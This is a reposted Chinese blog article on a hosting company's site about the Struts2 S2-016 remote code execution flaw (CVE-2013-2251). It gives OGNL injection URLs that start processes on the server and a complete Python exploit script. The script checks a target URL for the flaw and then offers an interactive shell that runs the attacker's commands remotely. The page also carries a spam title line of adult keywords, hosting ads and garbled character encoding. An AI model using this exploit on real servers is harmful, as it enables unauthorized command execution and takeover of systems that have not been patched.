欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

Struts2遠(yuǎn)程執(zhí)行代碼(S2-016)利用工具-創(chuàng)新互聯(lián)

7·17中午剛剛午睡醒來就看到幾個(gè)熟悉字眼——Struts2,遠(yuǎn)程執(zhí)行代碼。施特!難道繼上回<s:a>標(biāo)簽后又新曝一個(gè)?本來還沒睡醒的一下子清醒了。一看果斷,緊接著某云就被刷屏了~~~一場腥風(fēng)血雨畫面即將上演。。。

成都創(chuàng)新互聯(lián)公司"三網(wǎng)合一"的企業(yè)建站思路。企業(yè)可建設(shè)擁有電腦版、微信版、手機(jī)版的企業(yè)網(wǎng)站。實(shí)現(xiàn)跨屏營銷,產(chǎn)品發(fā)布一步更新,電腦網(wǎng)絡(luò)+移動(dòng)網(wǎng)絡(luò)一網(wǎng)打盡,滿足企業(yè)的營銷需求!成都創(chuàng)新互聯(lián)公司具備承接各種類型的做網(wǎng)站、成都做網(wǎng)站項(xiàng)目的能力。經(jīng)過十多年的努力的開拓,為不同行業(yè)的企事業(yè)單位提供了優(yōu)質(zhì)的服務(wù),并獲得了客戶的一致好評(píng)。

Struts2 遠(yuǎn)程執(zhí)行代碼(S2-016) 利用工具

據(jù)報(bào)道,受影響版本是2.0.0-2.3.15,CVE編號(hào):CVE-2013-2251。原因是因?yàn)閰?shù)action的值redirect以及redirectAction沒有正確過濾,導(dǎo)致允許***者在訪問使用Struts2的應(yīng)用時(shí)遠(yuǎn)程執(zhí)行OGNL表達(dá)式

漏洞證明:

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-blank/example/X.action?redirect:%25{3*4}

http://host/struts2-blank/example/X.action?redirectAction:%25{3*4}

代碼測(cè)試:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

官方已經(jīng)更新補(bǔ)丁,管理員們速度打上,不然褲子被脫了還不知道。

URL:http://struts.apache.org/download.cgi#struts23151

下面show下python寫的利用工具【圖】

Struts2 遠(yuǎn)程執(zhí)行代碼(S2-016) 利用工具

用GOOGLE一搜差點(diǎn)沒嚇尿,再次強(qiáng)烈建議管理今晚加班都要把這修補(bǔ)了!!!晚安

--------------------------更新py腳本代碼-----------------------------------------

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
#--------------------------------------
# Struts2 2.0.0 - Struts 2.3.15
# CVE-2013-2251
#---------------------------------------
#Copyright By  ,Terryll right Reserved
#author    date    comment
#Terry  2013-7-17  Created
import urllib
import urllib2
import re
import sys
url_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
def judge(url):
    #判斷是否存在該漏洞
    if url.endswith(".action") :
        try:
            url = url + url_exp
            #print url
            url_request = urllib2.Request(url)          
            response = urllib2.urlopen(url_request)
            res_html = response.read()
            #print res_html[:100]
            if res_html.find(">") > 0:
                return "Failed"
            else:
                return "OK"
            #print response.func_code
        except :
            return "ERROR"
    else:
        return "url error"
def get_args(argument):    
    #
    #轉(zhuǎn)化為參數(shù)的格式如:'ls','-al'
    #
    args = argument.split(' ')
    args_deal = ''
    for i in args:
        args_deal = args_deal + "'" + i + "',"
    args_deal = args_deal[:-1]
    return args_deal
def strip(str):
    #
    #去除首尾的\x00串
    #
    tmp = str.strip()
    blank_line=re.compile('\x00')
    tmp=blank_line.sub('',tmp)
    return tmp
def attack(url):
    #
    #DO IT
    #
    try:
        url_request = urllib2.Request(url)
        response = urllib2.urlopen(url_request)
        res_html = response.read().strip()
        return strip(res_html)
    except :
        return "ERROR"
if __name__ == '__main__':
       
    if len(sys.argv) > 1:
        #print get_url("ls -al")
        if judge(sys.argv[1]) == "OK":
            print "Success"
            pattern = re.compile(r'http[s]?://([\w\W]*?)/')          
            url = sys.argv[1] + url_exp
            hostname = pattern.findall(url)
            #print hostname[0]
            loop = 1
           while loop:
                string = raw_input(hostname[0] + " >")
                   
                if string.startswith("exit"):
                    break
                    loop=0
                if len(string) > 0:
                    url_ = url.replace("'whoami'",get_args(string))
                    #print url_
                    print attack(url_)
        else:
            print "Failed"
    else:
        print("No argument!")

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。

當(dāng)前名稱:Struts2遠(yuǎn)程執(zhí)行代碼(S2-016)利用工具-創(chuàng)新互聯(lián)
網(wǎng)頁URL:http://www.chinadenli.net/article26/ihicg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供Google域名注冊(cè)關(guān)鍵詞優(yōu)化小程序開發(fā)微信公眾號(hào)商城網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化